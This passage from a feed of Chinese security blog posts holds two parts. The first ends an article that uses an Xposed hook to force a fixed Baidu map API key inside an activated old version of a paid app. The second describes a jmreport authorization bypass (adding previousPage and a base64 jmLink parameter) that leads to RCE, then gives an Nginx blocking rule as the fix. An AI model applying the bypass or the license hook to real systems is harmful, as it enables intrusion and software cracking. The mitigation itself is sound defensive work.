hsl(var(--border));"/>Binary file classes2.dex matches<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>root:~# jadx-gui classes2.dex classes.dex</code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过搜索，一共有3处用到了<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">com.baidu.lbsapi.API_KEY</code>。</p><img alt="搜索" data-imgfileid="100003024" data-ratio="0.625" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4426395d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r85RrRPVKkR6uB9yKLSqOuIGGXhPOqp7QrdZ8icp9CqZiahicalCOQsl3SA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中有一处仅仅读取了，未进行进一步调用，因此可以忽略。</p><img alt="未使用" data-imgfileid="100003021" data-ratio="0.6342592592592593" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=54fc32cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8K55vZDI56KQKw9zVBP3UGiaR8EF9OCM22moXw8lVKCYPtw0KlI8BUWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其余两处均有实际使用，针对这两处，我们可以通过HOOK修改返回值即可。</p><img alt="搜索" data-imgfileid="100003022" data-ratio="0.4824074074074074" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=070b32a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8BA22QUD3oBTtKFYVc3iceGxT3R5gciauoYSOAjNqTdhpJ7dJaOXFTDag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><blockquote style="border-width: 0px 0px 0px 4px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-left-color: rgb(0, 152, 116);margin-top: 0px;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上面这个图是搜索的 BaiduLBS_Android.jar ，classes2.dex中的<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">com.baidu.lbsapi.auth.LBSAuthManager</code> 的 <code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">a</code>方法使用jadx查看没有反编译完全。</p></blockquote><img alt="搜索" class="rich_pages wxw-img" data-imgfileid="100003023" data-ratio="0.5861111111111111" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=34e51ec8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8N4PUibOomuwAZueO6tz3EIGchcGLibIicslJVwwanLpBMv70t7ghYfbzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要代码：</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">XposedHelpers.findAndHookMethod(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;com.baidu.lbsapi.auth.LBSAuthManager&#34;</span>, classLoader, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;getPublicKey&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;android.content.Context&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">new</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">XC_MethodHook</span>() {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">@Override</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">protected</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">void</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">beforeHookedMethod</span><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">(MethodHookParam param)</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        param.setResult(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;kGdfeSE3SeAUkeGtur7g8uIXbCx4alFN&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>});<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>XposedHelpers.findAndHookMethod(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;com.baidu.lbsapi.auth.LBSAuthManager&#34;</span>, classLoader, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;a&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;android.content.Context&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;java.lang.String&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">new</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">XC_MethodHook</span>() {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">@Override</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">protected</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">void</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">beforeHookedMethod</span><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">(MethodHookParam param)</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        param.setResult(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;kGdfeSE3SeAUkeGtur7g8uIXbCx4alFN&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>});</code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译后并启用该模块，地图也可以正常使用。</p><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x03 总结</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之所以不用新版的APP，因为该软件是收费软件，而旧版本有激活的模块，所以选择在旧版本上进行修复。另外需要注意的是，该APP加壳，所以在写Xposed模块时需要找到壳的入口类，在这个类里面去获取context参数，然后就可以通过context获得到壳的类加载器，之后只需要用这个类加载器来hook即可。</p></section><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin-bottom: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);font-size: 0px;line-height: 0;"> </p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486673">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c7b14a1c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486673%26idx%3D1%26sn%3Df90677c655735bb6b172d59b8d478d79%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Feb 2025 08:06:00 +0800</pubDate>
    </item>
    <item>
      <title>积木报表授权绕过漏洞缓解措施</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486523&amp;idx=1&amp;sn=e8923691c0de788b457ee6bb036f01c3</link>
      <description>针对积木报表授权绕过漏洞的缓解措施</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2024-08-09 23:59</span> <span style="display: inline-block;">北京</span>
</p>

<p>针对积木报表授权绕过漏洞的缓解措施</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=99bd5ab4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcKLPv6YpYV6XdDMYkCRoibEMaUb6GGMWbfam31I4kG8MsTE931oicfjlw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x00 前言</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">近期，积木报表（jmreport）被曝出存在一个授权绕过漏洞。该漏洞允许攻击者在请求中包含特定参数时绕过授权机制，从而访问诸如 save、queryFieldBySql、show 等接口。尽管之前的远程代码执行（RCE）漏洞已被修复，但攻击者仍能通过 AviatorScript 表达式注入，继续实现 RCE 攻击。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">目前，积木报表的最新版本为 1.7.9，但测试发现，该版本仍存在授权绕过的风险。漏洞<span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-wrap: wrap;">修复</span>的版本暂未发布。为此，本文将提供一种有效的缓解措施，以帮助用户降低该漏洞带来的安全风险。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01 漏洞复现</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">至于漏洞分析这里就不进行了，有很多师傅已经发过详细的过程。这里使用的环境是<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jeecg-boot 3.7.0</code>，积木报表版本为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">1.7.9</code>。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002848" data-ratio="0.17777777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=43a7fe61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqc1RwYIfic3dD3zOEI7lEyGeGibyhibmzjBlQN41Z4ennUmuTxN8libcI6Fg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><span style="color: inherit;font-size: inherit;letter-spacing: 0px;"></span><br/></p></figure>以接口 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmreport/save</code>为例来判断漏洞是否存在。当没有<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">previousPage</code>和<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmLink</code>参数时，提示<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Token</code>校验失败。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002858" data-ratio="0.26944444444444443" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=85c8cba8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcLpkR36ga0rzMgWWNSg1ktXf5qfJ0rQtib1guXJ3qzaKXdhuXm7v2boQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><br/>增加<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">previousPage</code>和<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmLink</code>参数，且<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmLink</code>内容为类似 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">aaa||bbb</code> 的base64 编码，可以保存成功，说明存在漏洞。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002859" data-ratio="0.34814814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a131626c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcHW4NicyFeDiaEsZp7lBadHoRq3Ymc4PLzZY8ZtmwlchicxMq9cq9ZpXpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">访问</span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: 16px;color: rgb(233, 105, 0);line-height: inherit;border-radius: 4px;background: rgb(248, 248, 248);letter-spacing: normal;text-align: start;text-wrap: wrap;">jmreport/queryFieldBySql</code><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">接口，可以进行查询。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002860" data-ratio="0.44814814814814813" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3333b70b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqc5q97Ac0wmF1n2RXv640dicKIzLibROqJIkGVJpx05MBjOf4SEY53EACA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><br/>但无法利用<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CVE-2023-4450</code>漏洞。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002863" data-ratio="0.3814814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2c0529de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcppT2vn8YaVJHWZk4lxUMXWr22xyc4LZ201AJJBhKWmhybfBxm7w3aw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="margin-top: 1.5em;margin-bottom: 1.5em;font-size: inherit;color: inherit;line-height: inherit;">利用 <code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;border-radius: 4px;background: rgb(248, 248, 248);">jmreport/save</code> 接口发送请求，写入构造好的<code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;border-radius: 4px;background: rgb(248, 248, 248);">AviatorScript</code>表达式。<span style="color: rgb(248, 35, 117);font-weight: bold;letter-spacing: 0px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002864" data-ratio="0.5287037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a9dd99c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcU1xXf2VBdjPJ2uibvrOpc4FExicmmswOCcMJj8TQHhfw3NXV0lN1rXMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><br/>访问<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmreport/show</code> 接口时触发。<p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002865" data-ratio="0.4962962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d45dbdb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqckkf6Eq4dFVTHoytXyhQibFibyPYbnLjvRDd2FbIt9lQ1H43mY704QXVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><br/><span style="caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">从上面的结果来看，在授权绕过的情况下，仍然可以RCE。接下来就是如何防止漏洞被利用。</span><br/><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02 修复</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">由于目前的最新版本依然存在漏洞，单纯升级并不能解决问题。如果应用系统不依赖积木报表，最简单直接的方法是删除积木报表。如果仍需使用该功能且不希望大幅修改代码，可以采取增加过滤器或使用 Nginx 代理等方式来防护。<br/>以下是使用 Nginx 反向代理进行防护的示例。<br/>根据漏洞的利用情况，可以设置当 URL 中同时包含参数 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">previousPage</code> 和 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jmLink</code> 时，拦截请求并返回 403 错误。<br/>以官方的docker为例，修改 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/nginx/conf.d/default.conf</code>文件，增加如下代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 初始化变量</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$flag</span> <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 如果存在 jmLink 参数</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$request_uri</span> ~* <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;jmLink&#34;</span>) {<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$flag</span> <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">${flag}</span>A&#34;</span>;<br/>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 如果存在 previousPage 参数</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$request_uri</span> ~* <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;previousPage&#34;</span>) {<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$flag</span> <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">${flag}</span>B&#34;</span>;<br/>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 如果 flag 是 &#34;AB&#34;（即两个条件都满足），则返回 403</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( <span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$flag</span> = AB ) {<br/>     <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> 403;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 